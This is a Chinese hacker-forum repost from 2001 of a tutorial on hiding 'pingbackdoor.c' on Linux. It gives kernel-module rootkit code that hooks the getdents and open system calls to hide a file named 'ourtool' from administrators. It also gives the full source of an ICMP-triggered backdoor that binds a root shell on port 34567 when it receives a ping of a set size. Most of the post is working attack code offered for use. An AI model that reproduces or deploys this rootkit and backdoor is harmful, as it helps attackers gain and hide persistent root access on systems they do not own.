黑客在线

讲述黑客的故事,勾划hack人生

48 成员207 主题510 回复0 张照片

关于pingbackdoor.c的隐藏(一)

焦
焦皮
2001-03-23 03:22
关于pingbackdoor.c的隐藏(一)
来源:绿色兵团BBS
by 大鹰<e4gle@hackermail.com>
www.patching.net
这个程序早已做好,其实完全可以写一个脚本,和现有的lkm结合来隐藏进程,但我想重新改写程序,做成lkm,也就是一个c文件里面,实现功能如下:
1,隐藏核心符号链接表
一般的lkm程序都可以在符号链接表里面有标示,所以也极易被管理员发现,首先我们可以不把符号export出去,通过如下例程实现:
register_symtab(NULL);
插入到init_module()函数块中
其次我们可以截获符号链接:
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>


/*获取export出来的函数*/
extern int *pingbackdoor;

/*我们自己瞎编的一个系统符号如firewall*/
int new_call_in_firewall()
{
return 0;
}

int init_module(void) /*加载*/
{
pingbackdoor=new_call_in_firewall;
return 0;
}

void cleanup_module(void) /*卸载*/
{
}
在我这个程序中第一种是可行的。

2,隐藏文件本身
呵呵,其实这个程序被编译一般都需要存储在磁盘,所以就有可能被发现,不管你是搞到..目录也好,都会被发现的,我也可以通过两种方法来解决,一种比较简单,一种隐蔽性强!
好,看第一种的例程,通过截获ls命令的系统调用,我怎么获知ls用了哪些系统调用呢?谢天谢地,linux里面有个strace工具,而solaris里面有truss工具,呵呵,看看我的strace ls的结果:
[Hello!root]# strace ls
execve("/bin/ls", ["ls"], [/* 19 vars */]) = 0
brk(0) = 0x8053608
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=12625, ...}) = 0
old_mmap(NULL, 12625, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
close(3) = 0
open("/lib/libtermcap.so.2", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 40
96
old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000
mprotect(0x4001c000, 3016, PROT_NONE) = 0
old_mmap(0x4001c000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x200
0) = 0x4001c000
close(3) = 0
open("/lib/libc.so.6", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 40
96
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001d000
mprotect(0x4010a000, 30812, PROT_NONE) = 0
old_mmap(0x4010a000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec
000) = 0x4010a000
old_mmap(0x4010e000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON
YMOUS, -1, 0) = 0x4010e000
close(3) = 0
mprotect(0x4001d000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x4001d000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12625) = 0
personality(PER_LINUX) = 0
getpid() = 9912
brk(0) = 0x8053608
brk(0x8053640) = 0x8053640
brk(0x8054000) = 0x8054000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat64(0x3, 0xbfffba44) = -1 ENOSYS (Function not implemented)
fstat(3, {st_mode=S_IFREG|0644, st_size=2265, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40015000
read(3, "# Locale name alias data base.\n#"..., 4096) = 2265
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40015000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or dire
ctory)
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3
fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
close(3) = 0
open("/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=44, ...}) = 0
old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
close(3) = 0
brk(0x8055000) = 0x8055000
open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=93, ...}) = 0
old_mmap(NULL, 93, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000
close(3) = 0
open("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=29970, ...}) = 0
old_mmap(NULL, 29970, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40112000
close(3) = 0
open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=508, ...}) = 0
old_mmap(NULL, 508, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000
close(3) = 0
open("/usr/share/locale/en_US/LC_NUMERIC", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0
old_mmap(NULL, 27, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3) = 0
open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=87756, ...}) = 0
old_mmap(NULL, 87756, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4011a000
close(3) = 0
time(NULL) = 984434527
ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
brk(0x8058000) = 0x8058000
open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1 ENOTDIR (Not a directory
)
open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0700, st_size=1024, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
brk(0x805a000) = 0x805a000
getdents(3, /* 20 entries */, 3391) = 428
getdents(3, /* 0 entries */, 3391) = 0
close(3) = 0
lstat("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/usr/lib", {st_mode=S_IFDIR|0755, st_size=8192, ...}) = 0
lstat("/usr/lib/gconv", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open("/usr/lib/gconv/gconv-modules", O_RDONLY) = 3
。。。。。。。。。。。。
后面很多,但不太重要,实现第一种方法我们只需要截获getdents这个调用就可以了。因为ls就是通过这个系统调用来获得文件及目录列表的。好看例程!
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]="ourtool"; /*我们要隐藏的文件*/

/*调用原来的getdents -> 将结果保存于临时文件tmp */
tmp = (*orig_getdents) (fd, dirp, count);

/*对磁盘缓冲的操作*/
/*这个检查是必须的,因为如果曾经有getdents被调用并且将结果保存缓冲区……*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

/*dinode是所需的目录的索引结点*/
if (tmp > 0)
{
/*dirp2是新的dirent结构*/
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
/*将dirent结构拷至dirp2*/
memcpy_fromfs(dirp2, dirp, tmp);
/*将dirp3指向dirp2*/
dirp3 = dirp2;
t = tmp;
while (t > 0)
{
n = dirp3->d_reclen;
t -= n;
/*检查当前文件名是否是我们想要隐藏的名称*/
if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
{
/*如果有必要的话,修改dirent结构*/
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (dirp3->d_reclen == 0)
{
/*
* workaround for some shitty fs drivers that do not properly
* feature the getdents syscall.
*/
tmp -= t;
t = 0;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}


int init_module(void) /*载入*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}

void cleanup_module(void) /*卸载*/
{
sys_call_table[SYS_getdents]=orig_getdents;

}
不过这种方法系统管理员仍然可以通过cat xxx等命令来看到我的程序,只要程序名字起的不要太普通,一般管理员是不会发现的。
好,我们看第二种隐藏方法,深度隐藏!
方法是,截获open调用并且检查文件名是否是我的程序名,如果是的话,就拒绝任何open的尝试,所以read/write都不可能实现了,看例程:
define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_open)(const char *pathname, int flag, mode_t mode);


int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]="ourtool";

/*this is old stuff -> transfer to kernel space*/
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_pathname, pathname, 255);

if (strstr(kernel_pathname, (char*)&hide ) != NULL)
{
kfree(kernel_pathname);
/*返回一个‘file does not exist‘的error code*/
return -ENOENT;
}
else
{
kfree(kernel_pathname);
/*没关系,文件名不是ourtool……*/
return orig_open(pathname, flag, mode);
}
}


int init_module(void) /*加载*/
{
orig_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=hacked_open;
return 0;
}

void cleanup_module(void) /*卸载*/
{
sys_call_table[SYS_open]=orig_open;
}
好,太长了,下面的隐藏进程以及隐藏网络连接部分下回分解,呵呵
##########################################pingbackdoor.c#######################

#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567

void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}

int bind_shell()
{

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir("/");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);

if (fork() != 0)
exit(0);

setpgrp();

if (fork() != 0)
exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
return 1;
}

close(soc_cli);
}
}

int main(int argc, char *argv[])
{

int s, size, fromlen;
char pkt[4096];

struct protoent *proto;
struct sockaddr_in from;

if (fork() != 0) exit(0);

proto = getprotobyname("icmp");

if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
/* can‘t creat raw socket */
exit(0);

/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf("ping of %i\n", size-28);

} while (size != SIZEPACK + 28);

/* size == SIZEPACK, let‘s bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}

sleep(15);

}
}

#############################################End########################################




笑傲尘世中,网络任浮沉~~


1 / 1

登录后回复。